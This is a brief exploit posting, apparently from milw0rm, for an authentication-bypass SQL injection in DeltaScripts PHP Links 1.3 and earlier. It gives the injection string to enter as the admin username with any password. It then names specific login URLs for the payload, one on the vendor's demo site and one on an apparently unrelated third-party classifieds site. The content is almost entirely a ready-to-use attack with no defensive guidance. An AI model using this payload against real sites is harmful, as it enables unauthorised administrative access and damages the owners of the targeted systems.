DeltaScripts PHP Links <= 1.3 (Auth Bypass) SQL Injection Vuln

DeltaScripts PHP Links <= 1.3 (Auth Bypass) SQL Injection Vuln

link: http://www.milw0rm.com/exploits/7024

Discovered By: ZoRLu

Exploit:

username: [real_admin_name] ' or ' 1=1

password: ZoRLu

note: generally admin name: admin



admin login for demo:

http://demo.deltascripts.com/classifieds/admin/login.php


example for demo:

admin: admin ' or ' 1=1

passwd: ZoRLu



example 2:

admin login:

http://www.maramuresul-istoric.ro/anunturi/admin/login.php



admin: admin ' or ' 1=1

passwd: ZoRLu